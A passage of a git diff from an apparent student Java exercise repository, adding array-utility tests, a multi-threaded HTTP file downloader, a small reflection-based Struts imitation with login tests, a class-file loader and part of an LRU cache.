+		ArrayUtil util = new ArrayUtil();
+		int[] fibonacci1 = util.fibonacci(max1);
+		assertArrayEquals(expecteds1, fibonacci1);
+
+		int max2 = 1;
+		int[] expecteds2 = {};
+		int[] fibonacci2 = util.fibonacci(max2);
+		assertArrayEquals(expecteds2, fibonacci2);
+	}
+
+	@Test
+	public void testGetPrimes() {
+		int max1 = 23;
+		int[] expecteds1 = { 2, 3, 5, 7, 11, 13, 17, 19 };
+		ArrayUtil util = new ArrayUtil();
+		int[] primes1 = util.getPrimes(max1);
+		assertArrayEquals(expecteds1, primes1);
+
+		int max2 = 2;
+		int[] expecteds2 = {};
+		int[] primes2 = util.getPrimes(max2);
+		assertArrayEquals(expecteds2, primes2);
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		int max1 = 2;
+		int[] expecteds1 = {};
+		ArrayUtil util = new ArrayUtil();
+		int[] perfectNumbers1 = util.getPerfectNumbers(max1);
+		assertArrayEquals(expecteds1, perfectNumbers1);
+
+		// 6=1+2+3
+		int max2 = 7;
+		int[] expecteds2 = { 6 };
+		int[] perfectNumbers2 = util.getPerfectNumbers(max2);
+		assertArrayEquals(expecteds2, perfectNumbers2);
+
+		// 28=1+2+4+7+14
+		int max3 = 30;
+		int[] expecteds3 = { 6, 28 };
+		int[] perfectNumbers3 = util.getPerfectNumbers(max3);
+		assertArrayEquals(expecteds3, perfectNumbers3);
+	}
+
+	@Test
+	public void testJoin() {
+		int[] array = { 3, 8, 9 };
+		String seperator = "-";
+		String expecteds = "3-8-9";
+		ArrayUtil util = new ArrayUtil();
+		String join = util.join(array, seperator);
+		assertEquals(expecteds, join);
+	}
+
+}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
new file mode 100644
index 0000000000..fc1ec892f9
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
@@ -0,0 +1,53 @@
+package com.xiaol.download;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+/**
+ * 下载DEMO
+ * @author ShawnLin
+ */
+public class DownloadDemo {
+
+	public void download(String url) {
+		URL u;
+		try {
+			u = new URL(url);
+			HttpURLConnection httpURLConnection = (HttpURLConnection) u.openConnection();
+			int contentLength = httpURLConnection.getContentLength();
+			httpURLConnection.connect();
+			InputStream inputStream = httpURLConnection.getInputStream();
+			File file = new File(getFileName(url));
+			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
+			byte[] read = new byte[1024];
+			int length = 0;
+			while ((length = inputStream.read(read)) != -1) {
+				raf.write(read, 0, length);
+			}
+			inputStream.close();
+			raf.close();
+			System.out.println("下载完毕，位置[" + file.getAbsolutePath() + "]");
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+
+	}
+
+	public String getFileName(String path) {
+		int index = path.lastIndexOf("/");
+		return path.substring(index + 1);
+	}
+
+	public static void main(String[] args) {
+		DownloadDemo dd = new DownloadDemo();
+		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
+		dd.download(url);
+	}
+}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
new file mode 100644
index 0000000000..bb9c5cdac7
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
@@ -0,0 +1,37 @@
+package com.xiaol.download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.DownloadListener;
+
+public class DownloadThread extends Thread {
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	RandomAccessFile randomAccessFile;
+	DownloadListener listener;
+
+	public DownloadThread(Connection conn, int startPos, int endPos, RandomAccessFile randomAccessFile) {
+		this.randomAccessFile = randomAccessFile;
+		this.conn = conn;
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+
+	@Override
+	public void run() {
+		try {
+			byte[] read = conn.read(startPos, endPos);
+			randomAccessFile.seek(startPos);
+			randomAccessFile.write(read, 0, endPos - startPos);
+			System.out.println(this.getName() + "完成下载，从" + startPos + "到" + endPos + "共" + (endPos - startPos));
+			conn.close();
+			FileDownloader.finishCount();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
new file mode 100644
index 0000000000..e56d9d8939
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
@@ -0,0 +1,133 @@
+package com.xiaol.download;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.ConnectionException;
+import com.xiaol.download.api.ConnectionManager;
+import com.xiaol.download.api.DownloadListener;
+
+public class FileDownloader {
+
+	String url;
+
+	DownloadListener listener;
+
+	ConnectionManager cm;
+	private static int count = 0;
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+
+	}
+
+	public void execute() {
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos,
+		// endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		// 线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接，
+		// 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载， 注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		// Connection conn = null;
+		// try {
+		//
+		// conn = cm.open(this.url);
+		//
+		// int length = conn.getContentLength();
+		//
+		// new DownloadThread(conn,0,length-1).start();
+		//
+		// } catch (ConnectionException e) {
+		// e.printStackTrace();
+		// }finally{
+		// if(conn != null){
+		// conn.close();
+		// }
+		// }
+
+		Connection conn = null;
+		try {
+
+			File file = new File(getFileName(url));
+			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
+			System.out.println("文件下载位置：[" + file.getAbsolutePath() + "]");
+			int threadNum = 3;
+			conn = cm.open(this.url);
+			int length = conn.getContentLength();
+			int avg = length / threadNum;
+			for (int i = 0; i < threadNum; i++) {
+				Connection cTemp = cm.open(this.url);
+				int start = i * avg;
+				int end = start + avg - 1;
+				if (i == threadNum - 1) {
+					end = length - 1;
+				}
+				new DownloadThread(cTemp, start, end, raf).start();
+			}
+
+			while (true) {
+				if (threadNum == getFinishCount()) {
+					listener.notifyFinished();
+					try {
+						raf.close();
+					} catch (IOException e) {
+						e.printStackTrace();
+					}
+					break;
+				}
+			}
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		} catch (FileNotFoundException e) {
+			e.printStackTrace();
+		} finally {
+			if (conn != null) {
+				conn.close();
+			}
+		}
+
+	}
+
+	/**
+	 * 获取文件名
+	 * 
+	 * @param path
+	 * @return
+	 */
+	public String getFileName(String path) {
+		int index = path.lastIndexOf("/");
+		return path.substring(index + 1);
+	}
+
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	public void setConnectionManager(ConnectionManager ucm) {
+		this.cm = ucm;
+	}
+
+	public DownloadListener getListener() {
+		return this.listener;
+	}
+
+	public static void finishCount() {
+		count++;
+	}
+
+	public int getFinishCount() {
+		return count;
+	}
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ee724f5d44
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
@@ -0,0 +1,60 @@
+package com.xiaol.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.xiaol.download.api.ConnectionManager;
+import com.xiaol.download.api.DownloadListener;
+import com.xiaol.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+//		String url = "http://localhost:8080/test.jpg";
+		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
new file mode 100644
index 0000000000..dc688e1fbe
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.xiaol.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
new file mode 100644
index 0000000000..813f6756bf
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.xiaol.download.api;
+
+public class ConnectionException extends Exception {
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..84adef2054
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.xiaol.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java b/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
new file mode 100644
index 0000000000..30e7eaced2
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.xiaol.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..fcd2a37cdc
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
@@ -0,0 +1,60 @@
+package com.xiaol.download.impl;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.xiaol.download.api.Connection;
+
+public class ConnectionImpl implements Connection {
+
+	private HttpURLConnection httpURLConnection;
+
+	public ConnectionImpl(String url) {
+		try {
+			this.httpURLConnection = (HttpURLConnection) new URL(url).openConnection();
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		httpURLConnection.setRequestMethod("GET");
+		httpURLConnection.setConnectTimeout(5000);
+		httpURLConnection.setReadTimeout(5000);
+		httpURLConnection.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		httpURLConnection.connect();
+		List list = new ArrayList<>();
+		byte[] byteArray = null;
+		byte[] read = new byte[1024];
+		int length = 0;
+		if (httpURLConnection.getResponseCode() == 206) {
+			InputStream inputStream = httpURLConnection.getInputStream();
+			byteArray = new byte[endPos - startPos + 1];
+			while ((length = inputStream.read(byteArray)) != -1) {
+				
+			}
+			inputStream.close();
+		}
+		close();
+		return byteArray;
+	}
+
+	@Override
+	public int getContentLength() {
+		return httpURLConnection.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		httpURLConnection.disconnect();
+	}
+
+}
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..730aaca153
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,15 @@
+package com.xiaol.download.impl;
+
+import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.ConnectionException;
+import com.xiaol.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = new ConnectionImpl(url);
+		return connection;
+	}
+
+}
\ No newline at end of file
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
new file mode 100644
index 0000000000..0a0bde6888
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/LoginAction.java
@@ -0,0 +1,36 @@
+package com.xiaol.study;
+
+public class LoginAction {
+	private String name;
+	private String password;
+	private String message;
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
+	public String execute() {
+		if ("test".equals(name) && "1234".equals(password)) {
+			this.message = "login successful";
+			return "success";
+		}
+		this.message = "login failed,please check your user/pwd";
+		return "fail";
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setPassword(String password) {
+		this.password = password;
+	}
+
+	public String getMessage() {
+		return this.message;
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
new file mode 100644
index 0000000000..cadbfc9300
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/Struts.java
@@ -0,0 +1,176 @@
+package com.xiaol.study;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+import javax.management.RuntimeErrorException;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NamedNodeMap;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+
+
+public class Struts {
+	
+	// 每一个action的信息存放到一个Map<String, String>里
+	// 所有的Map<String, String>放到rootMap方便统一管理
+	private static HashMap<String, Map<String, String>> rootMap = new HashMap<String, Map<String, String>>();
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+    	View view = new View(); 
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+		try {
+			// 1、初始化读取配置文件
+			init();
+
+			// 2、获取根据参数获取对应的class的名字
+			Map<String, String> actionMap = rootMap.get(actionName);
+			String className = actionMap.get("class");
+			// 3、根据名字获取Class对象
+			Class<?> clazzType = Class.forName(className);
+			// 4、通过无参构造获取一个对象
+			Object newInstance = clazzType.getConstructor(new Class[] {}).newInstance(new Object[] {});
+			// 5、调用set方法，把("name"="test" , "password"="1234")值set进去
+			Set<Entry<String, String>> entrySet = parameters.entrySet();
+			Iterator<Entry<String, String>> iterator = entrySet.iterator();
+			while (iterator.hasNext()) {
+				Entry<String, String> next = iterator.next();
+				String key = next.getKey();
+				String value = next.getValue();
+				String setMethodName = "set" + key.substring(0, 1).toUpperCase() + key.substring(1);
+				Field declaredField = clazzType.getDeclaredField(key);
+				Method setMehtod = clazzType.getDeclaredMethod(setMethodName, new Class[] { declaredField.getType() });
+				setMehtod.invoke(newInstance, value);
+			}
+			// 6、执行execute方法
+			String executeMethodName = "execute";
+			Method executeMethod = clazzType.getDeclaredMethod(executeMethodName);
+			Object resultString = (String) executeMethod.invoke(newInstance);
+
+			// 7、通过反射获取message信息
+			String getMethodName = "getMessage";
+			Field declaredField = clazzType.getDeclaredField("message");
+			Method getMehtod = clazzType.getDeclaredMethod(getMethodName);
+			String message = (String) getMehtod.invoke(newInstance);
+
+			// 8\
+			String jsp = actionMap.get(resultString);
+			view.setJsp(jsp);
+			Map<String, String> hashMap = new HashMap<>();
+			hashMap.put("message", message);
+			view.setParameters(hashMap);
+		} catch (Exception e) {
+			e.printStackTrace();
+			throw new ExceptionInInitializerError();
+		}
+		return view;
+    }    
+    
+	public static void init() throws Exception {
+
+		// 1、获取工厂实例
+		DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+		// 2、获取dom解析器
+		DocumentBuilder db = dbf.newDocumentBuilder();
+		// 3、解析xml文档，获取document对象(根节点)
+		// 也可以获取流使用db.parse(InputStream)
+		// InputStream is =
+		// this.getClass().getResourceAsStream("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml");
+		Document document = db.parse(
+				new File("D:\\GitHub\\coding2017\\group23\\381519422\\litestruts\\src\\main\\resources\\struts.xml"));
+		NodeList list = document.getElementsByTagName("action");
+
+		/*
+		 * 开始循环list，list中每一个元素结构如下
+		 * 	<action name="login" class="com.coderising.litestruts.LoginAction">
+				<result name="success">/jsp/homepage.jsp</result>
+				<result name="fail">/jsp/showLogin.jsp</result>
+			</action>
+		 */
+		for (int i = 0; i < list.getLength(); i++) {
+			Map<String, String> actionMap = new HashMap<String, String>();
+			// 注意：使用的都是org.w3c.dom包下的
+			Element element = (Element) list.item(i);
+			// 获取<action name="login">中 name对应的属性值
+			String actionAttributeName = element.getAttribute("name");
+			String className = element.getAttribute("class");
+			actionMap.put("class", className);
+
+			// 读取第一个action
+			NamedNodeMap nnm = element.getElementsByTagName("result").item(0).getAttributes();
+			// 获取<result name="success">的属性 name
+			// String nodeName = nnm.item(0).getNodeName();
+			// element.getElementsByTagName("result").item(0)
+			// 是<result name="success">/jsp/homepage.jsp</result>
+			// getFirstChild().getNodeValue() 是获取上面内容的/jsp/homepage.jsp
+			String context = element.getElementsByTagName("result").item(0).getTextContent();
+			// 获取<result name="success">的属性 name对应的值success
+			String nodeValue = nnm.item(0).getNodeValue();
+			actionMap.put(nodeValue, context);
+			
+			// 读取第二个action
+			nnm = element.getElementsByTagName("result").item(1).getAttributes();
+			// 获取<result name="success">的属性 name
+			// nodeName = nnm.item(0).getNodeName();
+			context = element.getElementsByTagName("result").item(1).getFirstChild().getNodeValue();
+			// 获取<result name="success">的属性 name对应的值success
+			nodeValue = nnm.item(0).getNodeValue();
+			actionMap.put(nodeValue, context);
+			
+			rootMap.put(actionAttributeName, actionMap);
+		}
+	}
+	
+	public static void main(String[] args) {
+		try {
+			init();
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	// 内部类用于存放从配置文件读取的数据
+	class StrutsMap {
+		private HashMap<String, String> map;
+
+		public String get(String key) {
+			return map.get(key);
+		}
+
+		public void set(String key, String value) {
+			map.put(key, value);
+		}
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
new file mode 100644
index 0000000000..40bc45d280
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.xiaol.study;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java b/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
new file mode 100644
index 0000000000..03a1538403
--- /dev/null
+++ b/group23/381519422/litestruts/src/main/java/com/xiaol/study/View.java
@@ -0,0 +1,26 @@
+package com.xiaol.study;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+
+	public String getJsp() {
+		return jsp;
+	}
+
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+
+	public Map getParameters() {
+		return parameters;
+	}
+
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..5f56b80bff
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,81 @@
+package com.coderising.jvm.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        String path = getClassFilePath(className);
+        if (path != null) {
+            try {
+                BufferedInputStream bis = new BufferedInputStream(new FileInputStream(path));
+                int count = bis.available();
+                byte[] content = new byte[count];
+                int len = bis.read(content,0,count);
+                return content;
+            } catch (FileNotFoundException e) {
+                e.printStackTrace();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+        return null;
+
+
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        return null;
+    }
+
+
+    public void addClassPath(String path) {
+        clzPaths.add(path);
+    }
+
+    public String getClassPath_V1() {
+
+        return null;
+    }
+
+    public String getClassPath() {
+        StringBuilder sb = new StringBuilder();
+        for (String s : clzPaths) {
+            sb.append(s);
+            sb.append(";");
+        }
+        sb.deleteCharAt(sb.length() - 1);
+        return sb.toString();
+    }
+
+    private String getClassFilePath(String className) {
+        StringBuilder sb = new StringBuilder();
+        for (String path : clzPaths
+                ) {
+            sb.append(path);
+            sb.append("\\");
+            char[] classname = className.toCharArray();
+            for (int i = 0; i < classname.length; i++) {
+                if (classname[i] == '.') {
+                    sb.append("\\");
+
+                } else {
+                    sb.append(classname[i]);
+                }
+            }
+            sb.append(".class");
+            String classpath = sb.toString();
+            File file = new File(classpath);
+            if (file.exists()) {
+                return classpath;
+            }
+        }
+        return null;
+    }
+}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..1e00b5f2f5
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,92 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
+	static String path2 = "C:\\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group23/563253496/week4_jvm1/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/563253496/week4_lru/src/LRUPageFrame.java b/group23/563253496/week4_lru/src/LRUPageFrame.java
new file mode 100644
index 0000000000..d7d7aebf10
--- /dev/null
+++ b/group23/563253496/week4_lru/src/LRUPageFrame.java
@@ -0,0 +1,135 @@
+/**
+ * Created by bdl19 on 2017/3/29.
+ */
+public class LRUPageFrame {
+
+    private static class Node {
+
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+        }
+    }
+
+    private int capacity;
+
+
+    private Node first;// 链表头
+    private Node last;// 链表尾
+
+
+    public LRUPageFrame(int capacity) {
+
+        this.capacity = capacity;
+        initialize();
+        //count = 0;
+    }
+
+    /**
+     * 获取缓存中对象
+     *
+     * @param
+     * @return
+     */
+    public void access(int pageNum) {
+        int index = checkPageNum(pageNum);
+        if (index < 0) {
+            addNewNode(pageNum);
+        } else {
+            moveNode(index);
+        }
+
+    }
+
+    private void moveNode(int index) {
+        Node temp = first;
+        if (index == capacity - 1) {
+            Node node = last;
+            last = last.prev;
+            node.prev.next = null;
+
+            node.prev = null;
+            node.next = first;
+
+
+            first.prev = node;
+            first = node;
+            return;
+        }
+
+        if (index == 0) {
+            return;
+        }
+
+        for (int i = 0; i < index; i++) {
+            temp = temp.next;
+        }
+
+        temp.prev.next = temp.next;
+        temp.next.prev = temp.prev;
+        temp.next = first;
+        temp.prev = null;
